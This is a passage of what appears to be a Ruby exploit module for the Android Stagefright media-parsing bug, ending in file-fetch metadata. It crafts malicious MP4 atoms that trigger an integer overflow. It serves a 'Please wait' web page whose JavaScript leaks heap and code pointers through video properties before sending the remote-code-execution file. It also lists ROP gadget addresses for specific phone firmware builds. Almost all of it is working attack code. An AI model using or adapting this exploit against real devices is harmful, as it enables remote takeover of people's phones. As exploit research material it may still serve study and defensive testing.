tx3g_1 = get_atom('tx3g', overflow)\n    trak1 << tx3g_1\n\n    # Free the original thing and put the tx3g temporary in it's place...\n    block = 'R' * 0x40\n    trak1 << get_atom('covr', get_atom('data', [ 0, 0 ].pack('N*') + block))\n\n    # Make the second one, which triggers the integer overflow\n    big_num = 0x1ffffffff - 8 - overflow.length + 1 + alloc_size\n    more_data = [ spray_addr ].pack('V') * (overflow_size / 4)\n    tx3g_2 = get_atom('tx3g', more_data, big_num)\n    trak1 << tx3g_2\n\n    # Add the nasty track to the moov data\n    moov_data << get_atom('trak', trak1)\n\n    # Finalize the moov chunk\n    moov = get_atom('moov', moov_data)\n    chunks << moov\n\n    # Combine outer chunks together and voila.\n    mp4 = chunks.join\n    mp4\n  end\n\n  def on_request_uri(cli, request)\n    # If the request is for an mp4 file, we need to get the target from the @peers hash\n    if request.uri =~ /\\.mp4\\?/i\n      mp4_fn = request.uri.split('/')[-1]\n      mp4_fn = mp4_fn.split('?')[0]\n      mp4_fn[-4,4] = ''\n\n      peer = @peers[mp4_fn]\n\n      my_target = nil\n      my_target = peer[:target] if peer\n      if my_target.nil?\n        send_not_found(cli)\n        print_error(\"#{cli.peerhost}:#{cli.peerport} - Requested #{request.uri} - Unknown peer\")\n        return\n      end\n\n      # Extract the address(s) we just leaked...\n      sia_addr = request.qstring['sia'].to_i  # near_sampiter data address\n      peer[:near_sampiter_addr] = sia_addr if sia_addr > 0\n      sfv_addr = request.qstring['sfv'].to_i  # stagefright Vector<size_t> vtable ptr\n      peer[:vector_vtable_addr] = sfv_addr if sfv_addr > 0\n      # reset after a crash..\n      if sia_addr == 0 && sfv_addr == 0\n        peer[:near_sampiter_addr] = peer[:vector_vtable_addr] = nil\n      end\n\n      # Always use this header\n      out_hdrs = {'Content-Type'=>'video/mp4'}\n\n      if peer[:vector_vtable_addr].nil?\n        # Generate the nasty MP4 to leak infoz\n        mode = \"infoleak\"\n        mp4 = get_mp4_leak(my_target, peer)\n      else\n        mode = \"RCE\"\n        mp4 = get_mp4_rce(my_target, peer)\n        if mp4.nil?\n          send_not_found(cli)\n          print_error(\"#{cli.peerhost}:#{cli.peerport} - Requested #{request.uri} - Failed to generate RCE MP4\")\n          return\n        end\n      end\n\n      # Send the nasty MP4 file to trigger the vulnerability\n      if request.headers['Accept-Encoding'] and request.headers['Accept-Encoding'].include? 'gzip'\n        mp4 = Rex::Text.gzip(mp4)\n        out_hdrs.merge!('Content-Encoding' => 'gzip')\n        gzip = \"gzip'd\"\n      else\n        gzip = \"raw\"\n      end\n\n      client = \"Browser\"\n      if request.headers['User-Agent'].include? 'stagefright'\n        client = \"SF\"\n      end\n\n      addrs = \"heap: 0x%x, code: 0x%x\" % [ peer[:near_sampiter_addr].to_i, peer[:vector_vtable_addr].to_i ]\n\n      print_status(\"Sending #{mode} #{gzip} MPEG4 (#{mp4.length} bytes) to #{cli.peerhost}:#{cli.peerport}... (#{addrs} from #{client})\")\n\n      # Send the nastiness!\n      send_response(cli, mp4, out_hdrs)\n      return\n    end\n\n    # Initialize a target. If none suitable, then we don't continue.\n    my_target = target\n    if my_target.name =~ /Automatic/\n      my_target = get_target(request)\n      if my_target.nil?\n        send_not_found(cli)\n        print_error(\"#{cli.peerhost}:#{cli.peerport} - Requested #{request.uri} - Unknown user-agent: #{request['User-Agent'].inspect}\")\n        return\n      end\n      vprint_status(\"Target selected: #{my_target.name}\")\n    end\n\n    # Generate an MP4 filename for this peer\n    mp4_fn = rand_text_alpha(11)\n\n    # Save the target for when they come back asking for this file\n    # Also initialize the leak address to the first one\n    @peers[mp4_fn] = { :target => my_target }\n\n    # Send the index page\n    mp4_uri = \"#{get_resource.chomp('/')}/#{mp4_fn}.mp4\"\n    html = %Q^<html>\n<head>\n<title>Please wait...</title>\n<script>\nvar video;       // the video tag\nvar to_id;       // timeout ID\nvar req_start;   // when we requested the video\nvar load_start;  // when we loaded the video\n// Give mediaserver some time to settle down after restarting -- increases reliability\nvar waitTime = 100; // 6000;\nvar error = false;\nvar near_sampiter_addr = -1;\nvar vector_vtable_addr = -1;\nvar crashes = 0;\n\nfunction duration_changed() {\n  var now = Date.now();\n  var req_time = now - req_start;\n  var load_time = now - load_start;\n  console.log('duration changed to: ' + video.duration + ' (load: ' + load_time + ', req: ' + req_time + '), 0x' + video.videoWidth.toString(16) + ' x 0x' + video.videoHeight.toString(16));\n  if (load_time > 2000) {\n    // probably crashed. reset the entire process..\n    near_sampiter_addr = -1;\n    vector_vtable_addr = -1;\n    waitTime = 6000;\n    crashes += 1;\n    if (crashes > 5) {\n      console.log('too many crashes!!!');\n      stop_everything();\n    }\n  }\n  else {\n    // if we got the near_sampiter_addr already, we are now trying to read the code pointer.\n    // otherwise, we're trying to find near_sampiter_addr...\n    if (near_sampiter_addr == -1) {\n      // if we get this value, we failed to overwrite the metadata. try again.\n      if (video.videoHeight != 768) { // XXX: TODO: parameterize\n        if (video.videoHeight != 0) { // wtf? crashed??\n          value = video.videoHeight;\n          console.log('leaked heap pointer: 0x' + value.toString(16));\n          near_sampiter_addr = value;\n        }\n      }\n    } else if (vector_vtable_addr == -1) {\n      // if we get this value, we failed to overwrite the metadata. try again.\n      if (video.duration != 314) { // XXX: TODO: parameterize\n        // zero means a value that could not be represented...\n        if (video.duration != 0) {\n          var value = Math.round(video.duration * 1000000);\n          console.log('leaked memory: ' + video.duration + ' (near_sampiter_addr: 0x' + near_sampiter_addr.toString(16) + '): 0x' + value.toString(16));\n\n          vector_vtable_addr = value;\n        }\n      }\n    }\n\n    // otherwise, we just keep trying with the data we have...\n  }\n\n  if (error == false) {\n    if (vector_vtable_addr == -1) {\n      to_id = setTimeout(reload_leak, waitTime);\n    } else {\n      to_id = setTimeout(reload_rce, waitTime);\n    }\n    waitTime = 100;\n  }\n}\n\nfunction stop_everything() {\n  if (error == false) {\n    console.log('---- GIVING UP!! ----');\n    error = true;\n  }\n  if (to_id != -1) {\n    clearTimeout(to_id);\n  }\n}\n\nfunction start() {\n  video = document.getElementById('vid');\n  video.onerror = function() {\n    console.log('  onError called!');\n    stop_everything();\n  }\n  video.ondurationchange = duration_changed;\n  //reload_rce();\n  reload_leak();\n}\n\nfunction get_uri() {\n  var rn = Math.floor(Math.random() * (0xffffffff - 1)) + 1;\n  var uri = '#{mp4_uri}?x=' + rn;\n  if (near_sampiter_addr != -1) {\n    uri += '&sia=' + near_sampiter_addr;\n  }\n  if (vector_vtable_addr != -1) {\n    uri += '&sfv=' + vector_vtable_addr;\n  }\n  return uri;\n}\n\nfunction reload_leak() {\n  to_id = -1;\n  var xhr = new XMLHttpRequest;\n  xhr.responseType = 'blob';\n  xhr.onreadystatechange = function() {\n    if (xhr.readyState == 4) {\n      if (xhr.status != 200 || !xhr.response) {\n        stop_everything();\n        return;\n      }\n      load_start = Date.now();\n      try {\n        //var url = URL.createObjectURL(xhr.response);\n        var a = new FileReader();\n        a.onload = function(e) {\n          //console.log('onload: ' + e.target.result);\n          video.src = e.target.result\n        };\n        a.onerror = function(e) { console.log('blob 2 data error: ' + e.error); }\n        a.readAsDataURL(xhr.response);\n      } catch(e) {\n        console.log('  ERROR: ' + e.message);\n        stop_everything();\n      }\n    }\n  };\n  xhr.open('GET', get_uri(), true);\n  req_start = Date.now();\n  xhr.send();\n}\n\nfunction reload_rce() {\n  to_id = -1;\n  video.src = get_uri();\n}\n</script></head>\n<body onload='start()'>\n<video id=vid width=1px controls>\nYour browser does not support VIDEO tags.\n</video><br />\nPlease wait while we locate your content...\n</body>\n</html>\n^\n    print_status(\"Sending HTML to #{cli.peerhost}:#{cli.peerport}...\")\n    send_response(cli, html, {'Content-Type'=>'text/html'})\n  end\n\n  #\n  # Return some firmware-specific values to the caller.\n  #\n  # The VectorRVA field is extracted using the following command:\n  #\n  # $ arm-eabi-readelf -a libstagefright.so  | grep _ZTVN7android6VectorIjEE\n  #\n  def get_details(my_target)\n    details = {\n      'lrx' => {\n        'VectorRVA' => 0x10ae30,\n        'PivotStrategy' => 'lrx',\n        'Pivot1' => 0x67f7b,   # ldr r4, [r0] ; ldr r1, [r4, #0x10] ; blx r1\n        'Pivot2' => 0xaf9dd,   # ldm.w r4, {sp} ; pop {r3, pc}\n        'Adjust' => 0x475cd    # pop {r3, r4, pc}\n      },\n      'lmy-1' => {\n        'VectorRVA' => 0x10bd58,\n        'PivotStrategy' => 'lmy-1',\n        'Pivot1' => 0x68783,   # ldr r4, [r0] ; ldr r1, [r4, #0x10] ; blx r1\n        'Pivot2' => 0x81959,   # ldm.w r4, {r1, ip, sp, pc}\n        'Adjust' => 0x479b1    # pop {r3, r4, pc}\n      },\n      'lmy-2' => {\n        'VectorRVA' => 0x10bd58,\n        'PivotStrategy' => 'lmy-2',\n        'Pivot1' => 0x6f093,   # ldr r0, [r0, #0x10] ; ldr r3, [r0] ; ldr r1, [r3, #0x18] ; blx r1\n        'Pivot2' => 0x81921,   # ldm.w r0!, {r1, ip, sp, pc}\n        'Adjust' => 0x479b1    # pop {r3, r4, pc}\n      },\n      'shamu / LYZ28E' => {\n        'VectorRVA' => 0x116d58,\n        'PivotStrategy' => 'lyz',\n        'Pivot1' => 0x91e91,   # ldr r0, [r0] ; ldr r6, [r0] ; ldr r3, [r6] ; blx r3\n        'Pivot2' => 0x72951,   # ldm.w r0, {r0, r2, r3, r4, r6, r7, r8, sl, fp, sp, lr, pc}\n        'Adjust' => 0x44f81    # pop {r3, r4, pc}\n      },\n      'shamu / LYZ28J' => {\n        'VectorRVA' => 0x116d58,\n        'PivotStrategy' => 'lyz',\n        'Pivot1' => 0x91e49,   # ldr r0, [r0] ; ldr r6, [r0] ; ldr r3, [r6] ; blx r3\n        'Pivot2' => 0x72951,   # ldm.w r0, {r0, r2, r3, r4, r6, r7, r8, sl, fp, sp, lr, pc}\n        'Adjust' => 0x44f81    # pop {r3, r4, pc}\n      },\n      'sm-g900v / OE1' => {\n        'VectorRVA' => 0x174048,\n        'PivotStrategy' => 'sm-g900v',\n        'Pivot1' => 0x89f83,   # ldr r4, [r0] ; ldr r5, [r4, #0x20] ; blx r5\n        'Pivot2' => 0xb813f,   # ldm.w r4!, {r5, r7, r8, fp, sp, lr} ; cbz r0, #0xb8158 ; ldr r1, [r0] ; ldr r2, [r1, #4] ; blx r2\n        'Adjust' => 0x65421    # pop {r4, r5, pc}\n      }\n    }\n\n    details[my_target['Rop']]\n  end\n\nend","sha256":"be7f54c28de14046dd8974b88fb168b9d48cc6ca336e4fc952b63deea7e4fee4","bytes":40298,"fetchedAt":"2026-11-27T03:07:58.673Z","encoding":"utf-8 (display only; download retains original bytes)"}